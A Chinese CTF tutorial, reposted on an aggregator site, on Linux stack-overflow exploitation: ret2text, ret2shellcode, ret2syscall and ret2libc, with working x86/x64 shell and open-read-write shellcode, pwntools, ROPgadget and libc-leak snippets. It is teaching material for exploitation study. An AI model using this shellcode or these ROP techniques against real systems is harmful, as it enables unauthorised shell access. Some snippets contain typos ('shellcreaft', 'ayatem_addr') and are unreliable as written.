IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> linux栈溢出 -> 正文阅读

[系统运维]linux栈溢出

栈溢出

栈基础知识

栈结构

image-20220131010440822

函数调用过程

32位为例:
push?args call?func { push?eip jmp?func push?ebp mov?ebp,esp ? leave { mov?esp,ebp pop?ebp ret?(pop?eip) \begin{aligned} & \text{push args}\\ & \text{call func}\left\{\begin{matrix} \text{push eip}\\ \text{jmp func} \end{matrix}\right.\\ & \text{push ebp}\\ & \text{mov ebp,esp}\\ & \vdots \\ & \text{leave}\left\{\begin{matrix} \text{mov esp,ebp}\\ \text{pop ebp} \end{matrix}\right.\\ &\text{ret}\ \text{(pop eip)} \end{aligned} ?push?argscall?func{push?eipjmp?func?push?ebpmov?ebp,esp?leave{mov?esp,ebppop?ebp?ret?(pop?eip)?

函数参数传递

32位程序

  • 普通函数传参:参数基本都压在栈上(有寄存器传参的情况,可查阅相关资料)。
  • syscall传参:eax对应系统调用号,ebx、ecx、edx、esi、edi、ebp分别对应前六个参数多余的参数压在栈上。

64位程序:

  • 普通函数传参:先使用rdi、rsi、rdx、rcx、r8、r9寄存器作为函数参数的前六个参数,多余的参数会依次压在栈上。
  • syscall传参:rax对应系统调用号,传参规则与普通函数传参一致。

ret2text

栈溢出覆盖返回地址为后门函数从而获取shell。

ret2shellcode

将shellcode写入可执行的内存地址处,然后栈溢出覆盖返回地址到shellcode从而执行shellcode获取shell。

32位例题:wdb_2018_3rd_soEasy

64位例题:ciscn_2019_n_5

shellcode

手写

  • 32位

    • shell(21字节)

      shellcode = asm("""
          push 0x68732f
          push 0x6e69622f
          mov ebx,esp
          xor ecx,ecx
          xor edx,edx
          push 11
          pop eax
          int 0x80
      """)
      
    • orw(56字节)

      shellcode = asm("""
          /*open(./flag)*/
          push 0x1010101
          xor dword ptr [esp], 0x1016660
          push 0x6c662f2e
          mov eax,0x5
          mov ebx,esp
          xor ecx,ecx
          int 0x80
          /*read(fd,buf,0x100)*/
          mov ebx,eax
          mov ecx,esp
          mov edx,0x30
          mov eax,0x3
          int 0x80
          /*write(1,buf,0x100)*/
          mov ebx,0x1
          mov eax,0x4
          int 0x80
      """)
      
  • 64位

    • shell(22字节)

      shellcode = asm("""
          mov rbx, 0x68732f6e69622f
          push rbx
          push rsp
          pop rdi
          xor esi,esi
          xor edx,edx
          push 0x3b
          pop rax
          syscall
      """)
      
    • orw(43字节)

      shellcode = asm("""
          push 0x67616c66
          mov rdi,rsp
          xor esi,esi
          push 2
          pop rax
          syscall
          mov rdi,rax
          mov rsi,rsp
          mov edx,0x100
          xor eax,eax
          syscall
          mov edi,1
          mov rsi,rsp
          push 1
          pop rax
          syscall
      """)
      

pwntools 生成

  • shell(32位44字节,64位48字节)

    context.arch = elf.arch
    shellcode = asm(shellcreaft.sh())
    
  • orw

    • 32位(55字节)

      shellcode = ''
      shellcode += shellcraft.open('./flag')
      shellcode += shellcraft.read('eax','esp',0x100)
      shellcode += shellcraft.write(1,'esp',0x100)
      shellcode = asm(shellcode)
      
    • 64位(66字节)

      shellcode = ''
      shellcode += shellcraft.open('./flag')
      shellcode += shellcraft.read('rax','rsp',0x100)
      shellcode += shellcraft.write(1,'rsp',0x100)
      shellcode = asm(shellcode)
      

ret2syscall

构造rop链模拟系统调用过程

ROPgadget有时可自动构造,但可能长度过长,建议手动构造。

ROPgadget.py --binary ./pwn --ropchain

execve("/bin/sh",0,0)为例:

ROPgadget检索相关指令举例:

ROPgadget --binary ./pwn  --only 'pop|ret' | grep 'ebx'

32位

  • eax = 0x0b
  • ebx指向"/bin/sh"
  • ecx = 0x0
  • edx = 0x0

rop示例:

image-20220201192835830

64位

  • rax = 0x3b
  • rdi指向"/bin/sh"
  • rsi = 0x0
  • rdx = 0x0

rop示例:

image-20220201192913030

ret2libc

linux延迟绑定机制

动态链接每个函数需要两个东西:

  • 用来存放外部函数地址的数据段

  • 用来获取数据段记录的外部函数地址的代码

对应有两个表,一个用来存放外部的函数地址的数据表称为全局偏移表GOT, Global Offset Table),那个存放额外代码的表称为程序链接表PLT,Procedure Link Table)

图片

可执行文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址。

在这里面想要通过 plt 表获取函数的地址,首先要保证 got 表已经获取了正确的地址,但是在一开始就进行所有函数的重定位是比较麻烦的,为此,linux 引入了延迟绑定机制:只有动态库函数在被调用时,才会地址解析和重定位工作。

举例:

第一次调用

图片

之后再次调用

图片

利用过程

泄露函数地址

泄露libc函数地址的条件:程序中有输出函数,例如puts/printf/write

write(1,buf,20)为例:

  • 32位

    image-20220201201536794

  • 64位

    需要控制三个参数,rdi,rsi,rdx

    第三个参数代表输出的size,如果没有rdx的gadget可以暂时不管,输出多少无所谓。

    image-20220201202820871

    截取泄露的函数地址

    • 32位

      u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
      
    • 64位

      u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
      
    • 特别得,对于printf输出数字结果,不需要小端序转换,[:-1]是为了去掉最后的回车

      int(p.recvline()[:-1],16)
      

    获取libc基址

    • LibcSearcher

      from LibcSearcher import *
      libc = LibcSearcher("write",write_addr)
      libc_base = write_addr - libc.dump("write")
      bin_sh_addr = libc_base + libc.dump("str_bin_sh")
      system_addr = libc_base + obj.dump("system")
      
    • ELF

      libc = ELF("./libc.so.6")
      libc_base = write_addr - libc.symbol['write']
      bin_sh_addr = libc_base + libc.search("/bin/sh").next()
      ayatem_addr = libc_base + libc.symbol['system']
      

    构造rop获取shell

    system函数调用过程。

    另外,可以one_gadget查找已知的libc中exevce("/bin/sh")语句的地址。

    $ one_gadget libc-2.23.so
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL
    
    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL
    
    0xf0274 execve("/bin/sh", rsp+0x50, environ)
    constraints:
      [rsp+0x50] == NULL
    
    0xf1117 execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    
  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-02-03 01:28:27  更:2022-02-03 01:30:03 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 8:39:35-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码